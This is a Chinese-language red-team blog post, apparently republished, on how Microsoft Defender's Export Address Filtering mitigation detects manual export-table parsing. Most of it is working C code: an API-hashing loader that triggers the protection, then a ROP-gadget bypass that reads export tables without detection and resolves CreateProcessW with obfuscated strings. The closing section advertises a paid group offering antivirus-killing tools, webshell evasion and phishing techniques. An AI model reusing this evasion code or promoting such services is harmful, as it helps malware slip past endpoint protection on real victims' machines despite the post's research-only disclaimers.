文章总结: 本文详细分析了MicrosoftDefender的EAF(ExportAddressFiltering)机制,这是一种针对内存攻击的深度防护技术。文章通过代码示例展示了EAF如何检测恶意软件通过非正常途径获取系统API地址的行为,并提供了两种绕过EAF的方法:直接使用系统API调用和利用Gadget技术。文档强调这些技术仅用于安全测试和防御研究。 综合评分: 82 文章分类: 恶意软件,免杀,红队,渗透测试,漏洞分析
【免杀思路】Defender-EAF机制
原创
Hello888 Hello888
安全天书
2025年10月13日 21:04 广西
在小说阅读器读本章
去阅读
0x01 声明
本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担!!!
0x02 EAF
Defender EAF 是 Microsoft Defender 中的一项高级安全功能,全称为 Export Address Filtering(导出地址筛选)。这是一项针对内存攻击的深度防护技术。
基本定义
EAF 专门监控和阻止恶意软件通过非正常途径获取系统API地址的行为。它检测并阻止攻击者绕过正常的 GetProcAddress等API调用,直接解析内存中的导出表来获取函数地址。
防护目标
主要防范以下攻击技术:
- API 哈希解析(API Hashing)
- 动态导出表解析(Dynamic Export Parsing)
- 无文件攻击(Fileless Attacks)
- 进程注入(Process Injection)
启动方法
https://learn.microsoft.com/zh-cn/defender-endpoint/enable-exploit-protection
0x03 触发EAF
https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference?view=o365-worldwide#configuration-options-10
https://learn.microsoft.com/en-us/defender-endpoint/exploit-protection-reference?view=o365-worldwide#import-address-filtering-iaf
这个代码简单的展示了只要在导出表中访问特定函数就会触发EAF保护!
#include <Windows.h>#include <stddef.h>#include <cstdio>#include "ntdll.h"typedef struct _HOOK_FUNCTION { PVOID pSleep; PVOID pLoadLibraryA; PVOID pVirtualAlloc;} HOOK_FUNCTION, * PHOOK_FUNCTION;typedef struct _HOOK_INSTANCE { PVOID pModule; HOOK_FUNCTION wFunction;} HOOK_INSTANCE, * PHOOK_INSTANCE;typedef struct _MAIN_FUNCTION { PVOID pCreateFileA; PVOID pGetFileSize; PVOID pReadFile; PVOID pCloseHandle; PVOID pAddVectoredExceptionHandler; PVOID pGetCurrentThread;} MAIN_FUNCTION, * PMAIN_FUNCTION;typedef struct _MAIN_MODULE { PVOID Kernel32; PVOID Ntdll;} MAIN_MODULE, * PMAIN_MODULE;typedef struct _MAIN_INSTANCE { MAIN_MODULE wModule; MAIN_FUNCTION wFunction;} MAIN_INSTANCE, * PMAIN_INSTANCE;typedef struct _LOADER_INSTANCE { MAIN_INSTANCE main; HOOK_INSTANCE hook;} LOADER_INSTANCE, * PLOADER_INSTANCE;LOADER_INSTANCE LdrInst = { 0 };PPEB GetCurrentPeb(){ return ((PTEB)__readgsqword(0x30))->ProcessEnvironmentBlock;}DWORD HashStringDjb2W(LPCWSTR String){ ULONG Hash = 5381; INT c = 0; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash;}DWORD HashStringDjb2A(LPCSTR String){ ULONG Hash = 5381; INT c = 0; while (c = *String++) Hash = ((Hash << 5) + Hash) + c; return Hash;}PVOID fnGetModuleHandle(DWORD dwHash){ PPEB pCurrentPeb = GetCurrentPeb(); PVOID pListParserFirstEntry = pCurrentPeb->Ldr->InLoadOrderModuleList.Flink; PLIST_ENTRY pParser = (PLIST_ENTRY)pListParserFirstEntry; if (dwHash == NULL) { return ((PLDR_DATA_TABLE_ENTRY)pParser)->DllBase; } else { do { PLDR_DATA_TABLE_ENTRY pTableEntry = (PLDR_DATA_TABLE_ENTRY)pParser; if (dwHash == HashStringDjb2W(pTableEntry->BaseDllName.Buffer)) return pTableEntry->DllBase; pParser = pParser->Flink; } while (pParser->Flink != pListParserFirstEntry); } return 0;}//fnGetProcAddr会手动解析 PE 导出表(访问 IMAGE_EXPORT_DIRECTORY),这正是 EAF 的重点监控目标。替换这个函数也能绕过PVOID fnGetProcAddr(PVOID pModuleAddr, DWORD dwHash){ PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pModuleAddr; PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((UINT_PTR)pModuleAddr + pDosHeader->e_lfanew); if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) return NULL; PIMAGE_EXPORT_DIRECTORY pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((UINT_PTR)pModuleAddr + pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfFunctions); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleAddr + pImgExportDirectory->AddressOfNameOrdinals); for (int i = 0; i < pImgExportDirectory->NumberOfFunctions; i++) { PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleAddr + pdwAddressOfNames[i]); PVOID pFunctionAddress = (PBYTE)pModuleAddr + pdwAddressOfFunctions[pwAddressOfNameOrdinales[i]]; if (dwHash == HashStringDjb2A(pczFunctionName)) return pFunctionAddress; } return NULL;}#define HASH_LoadLibraryA 0x5fbff0fb#define HASH_GlobalAddAtomW 0xE765E467#define HASH_CreateProcessW 0xAEB52E2FVOID InitInstanceHook(PHOOK_INSTANCE Inst){ Inst->pModule = fnGetModuleHandle(0x6ddb9555); printf("000"); Inst->wFunction.pLoadLibraryA = fnGetProcAddr(Inst->pModule, HASH_CreateProcessW); //不访问这个函数就不会触发 printf("\n111"); LPVOID GlobalA = fnGetProcAddr(Inst->pModule, HASH_GlobalAddAtomW); printf("\n222");}int main() { InitInstanceHook(&LdrInst.hook); getchar(); return 0;}
0x04 绕过-直接使用
#include <windows.h>#include <stdio.h>int main() { // 1. 加载 user32.dll 库 HMODULE hUser32 = LoadLibraryA("user32.dll"); if (hUser32 == NULL) { printf("Failed to load user32.dll. Error: %d\n", GetLastError()); return 1; } // 2. 获取 MessageBoxA 函数的地址 typedef int (WINAPI* MessageBoxAPtr)(HWND, LPCSTR, LPCSTR, UINT); MessageBoxAPtr pMessageBoxA = (MessageBoxAPtr)GetProcAddress(hUser32, "MessageBoxA"); if (pMessageBoxA == NULL) { printf("Failed to get MessageBoxA address. Error: %d\n", GetLastError()); FreeLibrary(hUser32); // 释放库 return 1; } // 3. 调用 MessageBoxA 显示弹窗 pMessageBoxA(NULL, "Hello, World!", "MessageBox Example", MB_OK | MB_ICONINFORMATION); // 4. 释放 user32.dll FreeLibrary(hUser32); return 0;}
绕过-Gadget
#include <Windows.h>#include <stddef.h>#include <stdio.h>#include "defs.h"int help_memcmp(const void* str1, const void* str2, size_t count){ register const unsigned char* s1 = (const unsigned char*)str1; register const unsigned char* s2 = (const unsigned char*)str2; while (count-- > 0) { if (*s1++ != *s2++) return s1[-1] < s2[-1] ? -1 : 1; } return 0;}int find_mov_req_qword_ptr(char* pMem, int size, int* ptr_offset, char* negative) { int i = 0; int offset = 0; int max_gadget = 8; // 48:8B80 A8160000 + c3 BYTE mov_rax_qword_ptr[] = { '\x48','\x8b' }; int mov_size = sizeof(mov_rax_qword_ptr); // 00007FF904638FD5 | 48:8B00 | mov rax,qword ptr ds:[rax] // 00007FF9046B2FB7 | 48:8B40 38 | mov rax,qword ptr ds:[rax+38] // 00007FF904687FF9 | 48:8B80 A8160000 | mov rax,qword ptr ds:[rax+16A8] /* 0x00000001800d7ff9 : mov rax, qword ptr [rax + 0x16a8] ; ret 0x0000000180070889 : mov rax, qword ptr [rax + 0x17b8] ; ret 0x0000000180088029 : mov rax, qword ptr [rax + 0x17c0] ; ret 0x0000000180102fb7 : mov rax, qword ptr [rax + 0x38] ; ret 0x0000000180002d39 : mov rax, qword ptr [rax + 0x60] ; ret 0x0000000180088fd5 : mov rax, qword ptr [rax] ; ret */ // mov rax, qword ptr [rax] ; ret - this gadget would get caught by EAF+ // Look for 48 8b, size - max_gadget to not cause access violation for (i = 0; i < size - max_gadget; i++) { if (!help_memcmp(pMem + i, mov_rax_qword_ptr, mov_size)) { char* gadget_memory = (pMem + i); // Now decide if it's the right gadget based on the third mov argument and ret opcode with cc after it // (There is probably a better way) //short int first_bool = gadget_memory[2] == '\x00' && gadget_memory[3] == '\xc3' && gadget_memory[4] == '\xcc'; // EAF+ blacklisted short int second_bool = gadget_memory[2] == '\x40' && gadget_memory[4] == '\xc3' && gadget_memory[5] == '\xcc'; short int third_bool = gadget_memory[2] == '\x80' && gadget_memory[7] == '\xc3' && gadget_memory[8] == '\xcc'; if (second_bool || third_bool) { // We have one of the gadgets and now we need to figure out the outputs based on the third mov argument // There could be any registers or qword pointer to different registers int convert = 0; char* convert_ptr = &convert; switch (gadget_memory[2]) { // EAF+ blacklisted /*case '\x00': // Basic gadget doesn't have any offset to the pointer // And the signess doesn't really matter *ptr_offset = 0; offset = i; *negative = 0; break; */ case '\x40': // We have a char size integer here // There can also be a negative value // There is definitely a better solution to this // But we just check if it's lower and if so set negative bool to yes // And abs() the convert value as char convert_ptr[0] = gadget_memory[3]; *ptr_offset = convert; offset = i; if ((char)gadget_memory[3] < 0) { *negative = 1; convert_ptr[0] = gadget_memory[3] * -1; *ptr_offset = convert; } else { *negative = 0; } break; case '\x80': // Here we have normal dword/int offset // Use dummy int and byte by byte load it // And check negative as before convert_ptr[3] = gadget_memory[6]; convert_ptr[2] = gadget_memory[5]; convert_ptr[1] = gadget_memory[4]; convert_ptr[0] = gadget_memory[3]; *ptr_offset = convert; offset = i; if (convert < 0) { *negative = 1; *ptr_offset = convert * -1; } else { *negative = 0; } break; default: // Invalid mov instruction continue; } // We are done break; } // Well the thing is not a gadget so move on continue; } } return offset;}int find_mov_qword_ptr_req(char* pMem, int size, int* ptr_offset, char* negative) { int i = 0; int offset = 0; BYTE mov_qword_ptr_rax[] = { '\x48','\x89','\x01','\xC3' }; int mov_size = sizeof(mov_qword_ptr_rax); int max_gadget = mov_size; // 00007FF9020AD358 | 48:8901 | mov qword ptr ds:[rcx],rax /* 0x000000018008d358 : mov qword ptr [rcx], rax ; ret 0x000000018013d8b5 : mov qword ptr [rcx], rcx ; ret 0x000000018013d96a : mov qword ptr [r8], rdx ; ret 0x0000000180007af5 : mov qword ptr [r8], rcx ; ret */ // Look for 48 89, size - max_gadget to not cause access violation for (i = 0; i < size - max_gadget; i++) { if (!help_memcmp(pMem + i, mov_qword_ptr_rax, mov_size)) { offset = i; *ptr_offset = 0; *negative = 0; } } return offset;}int help_strcmp_f(const char* target, const char* source){ int i; for (i = 0; source[i] == target[i]; i++) if (source[i] == '\0') return 0; return source[i] - target[i];}void find_read_gadget_module(LPVOID module, char** gadget, int* gadget_offset, char* gadget_negative) { DWORD oldprotect = 0; PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)module; PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)module + pImgDOSHead->e_lfanew); int i; // find .text section for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); char text_section[] = { '.','t','e','x','t',0 }; if (!help_strcmp_f((char*)pImgSectionHead->Name, text_section)) { void* module_text_segment = (char*)module + pImgSectionHead->VirtualAddress; int module_size = pImgSectionHead->Misc.VirtualSize; int offset = 0; char* gadget_return; char* negative; gadget_return = (char*)module_text_segment + find_mov_req_qword_ptr(module_text_segment, module_size, &offset, &negative); *gadget_offset = offset; *gadget_negative = negative; if (gadget_return == module_text_segment) { // If the offset returned is zero then it means the gadget is not in the specified address range // We do this in case we would want to loop through others *gadget = NULL; } else { *gadget = gadget_return; } } }}short int find_read_gadget(rop_gadget* gadget) { PPEB peb = NULL;#if defined(_WIN64) peb = (PPEB)__readgsqword(0x60);#else peb = (PPEB)__readfsdword(0x30);#endif PPEB_LDR_DATA ldr = peb->Ldr; LIST_ENTRY list = ldr->InLoadOrderModuleList; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink; while (curr_module != NULL && curr_module->BaseAddress != NULL) { if (curr_module->BaseDllName.Buffer == NULL) continue; size_t module_address = (size_t)curr_module->BaseAddress; rop_gadget temp_gadget; SecureZeroMemory(&temp_gadget, sizeof(temp_gadget)); find_read_gadget_module((LPVOID)module_address, &temp_gadget.Address, &temp_gadget.Offset, &temp_gadget.Negative); if (temp_gadget.Address != NULL) { gadget->Address = temp_gadget.Address; gadget->Offset = temp_gadget.Offset; gadget->Negative = temp_gadget.Negative; return 1; } curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; } return 0;}void find_write_gadget_module(LPVOID module, char** gadget, int* gadget_offset, char* gadget_negative) { DWORD oldprotect = 0; PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)module; PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)module + pImgDOSHead->e_lfanew); int i; // find .text section for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); char text_section[] = { '.','t','e','x','t',0 }; if (!help_strcmp_f((char*)pImgSectionHead->Name, text_section)) { void* module_text_segment = (char*)module + pImgSectionHead->VirtualAddress; int module_size = pImgSectionHead->Misc.VirtualSize; int offset = 0; char* gadget_return; char* negative; gadget_return = (char*)module_text_segment + find_mov_qword_ptr_req(module_text_segment, module_size, &offset, &negative); *gadget_offset = offset; *gadget_negative = negative; if (gadget_return == module_text_segment) { // If the offset returned is zero then it means the gadget is not in the specified address range // We do this in case we would want to loop through others *gadget = NULL; } else { *gadget = gadget_return; } } }}short int find_write_gadget(rop_gadget* gadget) { PPEB peb = NULL;#if defined(_WIN64) peb = (PPEB)__readgsqword(0x60);#else peb = (PPEB)__readfsdword(0x30);#endif PPEB_LDR_DATA ldr = peb->Ldr; LIST_ENTRY list = ldr->InLoadOrderModuleList; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink; while (curr_module != NULL && curr_module->BaseAddress != NULL) { if (curr_module->BaseDllName.Buffer == NULL) continue; size_t module_address = curr_module->BaseAddress; rop_gadget temp_gadget; SecureZeroMemory(&temp_gadget, sizeof(temp_gadget)); find_write_gadget_module(module_address, &temp_gadget.Address, &temp_gadget.Offset, &temp_gadget.Negative); if (temp_gadget.Address != NULL) { gadget->Address = temp_gadget.Address; gadget->Offset = temp_gadget.Offset; gadget->Negative = temp_gadget.Negative; return 1; } curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; } return 0;}inline LPVOID help_GetModuleHandle(WCHAR* module_name) { PPEB peb = NULL;#if defined(_WIN64) peb = (PPEB)__readgsqword(0x60);#else peb = (PPEB)__readfsdword(0x30);#endif PPEB_LDR_DATA ldr = peb->Ldr; LIST_ENTRY list = ldr->InLoadOrderModuleList; PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list)); PLDR_DATA_TABLE_ENTRY curr_module = Flink; while (curr_module != NULL && curr_module->BaseAddress != NULL) { if (curr_module->BaseDllName.Buffer == NULL) continue; wchar_t* curr_name = curr_module->BaseDllName.Buffer; size_t i = 0; for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) { wchar_t c1, c2; TO_LOWERCASE(c1, module_name[i]); TO_LOWERCASE(c2, curr_name[i]); if (c1 != c2) break; } if (module_name[i] == 0 && curr_name[i] == 0) { //found return curr_module->BaseAddress; } // not found, try next: curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink; } return NULL;}inline void* help_GetProcAddress(LPVOID module, char* func_name, rop_gadget* gadget){ IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module; if (idh->e_magic != IMAGE_DOS_SIGNATURE) { return NULL; } IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew); IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]); if (exportsDir->VirtualAddress == NULL) { return NULL; } DWORD expAddr = exportsDir->VirtualAddress; IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module); SIZE_T namesCount = exp->NumberOfNames; // Accessing values by -> reference will translate to qword ptr [rax] or similar depends on the size // These instruction will trigger the page_guard and jump into the VEH handler by the mitigation // We can access them using the gadgets //getchar(); DWORD funcsListRVA = read_primitive_int(gadget->Address, (char*)exp + offsetof(IMAGE_EXPORT_DIRECTORY, AddressOfFunctions), gadget->Offset, gadget->Negative); DWORD funcNamesListRVA = exp->AddressOfNames; DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals; //DWORD funcNamesListRVA = read_primitive_int(gadget->Address,(char *)exp+offsetof(IMAGE_EXPORT_DIRECTORY,AddressOfNames), gadget->Offset, gadget->Negative); //DWORD namesOrdsListRVA = read_primitive_int(gadget->Address,(char *)exp+offsetof(IMAGE_EXPORT_DIRECTORY,AddressOfNameOrdinals), gadget->Offset, gadget->Negative); for (SIZE_T i = 0; i < namesCount; i++) { DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD)); WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD)); DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD)); LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module); size_t k = 0; // Here we need to remove any array accesses - [k] with our char gadgets for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) { if (func_name[k] != curr_name[k]) break; } if (func_name[k] == 0 && curr_name[k] == 0) { return (BYTE*)module + (*funcRVA); } } return NULL;}int main() { wchar_t kernelbase_dll_name[] = { 'k','e','r','n','e','l','b','a','s','e','.','d','l','l', 0 }; wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; rop_gadget read_gadget; SecureZeroMemory(&read_gadget, sizeof(read_gadget)); rop_gadget write_gadget; SecureZeroMemory(&write_gadget, sizeof(write_gadget)); short int found = find_read_gadget(&read_gadget); if (found == 0) { return 0; } found = find_write_gadget(&write_gadget); if (found == 0) { return 0; } wchar_t cmd_exe_name[] = { 'c', 'm', 'd', '.', 'e', 'x', 'e',' ','/','c',' ','d','i','r', 0 }; char CreateProcessW_char[] = { 'C', 'r', 'e', 'a',' t', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'W' , 0 }; char GetStdHandle_char[] = { 'G', 'e', 't', 'S',' t', 'd', 'H', 'a', 'n', 'd', 'l', 'e', 0 }; char VirtualProtect_char[] = { 'V', 'i', 'r', 't',' u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0 }; LPVOID kernelbase = help_GetModuleHandle(kernelbase_dll_name); ptrCreateProcessW _CreateProcessW = help_GetProcAddress((HMODULE)kernelbase, (LPSTR)CreateProcessW_char, &read_gadget); getchar(); return 0;}
0x05 红蓝偶像练习生小圈子
圈子主要研究方向渗透测试、红蓝对抗、钓鱼手法思路、武器化操作,红队工具二开与免杀。圈内不定期分享红队技术文章,攻防经验总结,学习笔记以及自研工具与插件,目前圈子已满200人,欢迎各位进圈子交流学习!
**圈子目前更新相关技术文章:
* HeavenlyBypassAV内部版-轻松免杀各大杀软
-
冰蝎webshell免杀工具
-
哥斯拉webshell免杀工具
-
红队场景下lnk钓鱼Bypass国内AV
-
1day and 0day POC
-
lnk钓鱼思路视频讲解
-
lnk钓鱼Bypass天擎
-
msi钓鱼
-
chm钓鱼
-
Kill360核晶
-
AV对抗-致盲AV(核晶)
-
捆绑免杀360
-
kill火绒
-
火绒6.0内存免杀
-
kill-windows Defender
-
Defender分离免杀
-
Defender知识点
-
HeavenlyProtectionCS内部CS插件
-
EDR对抗思路
-
进程注入知识点
-
自启动思路
-
多种维权手法
-
Fscan免杀核晶
-
QVM解决思路
-
红队思路-钓鱼环境下小窗口截屏窃取
-
免杀Todesk/向日葵读取工具
-
渗透测试文章思路
-
内网对抗文章思路
-
*还有更多红队思路文章!期待您的加入!!!*
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全天书 Hello888 Hello888《【免杀思路】Defender-EAF机制》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论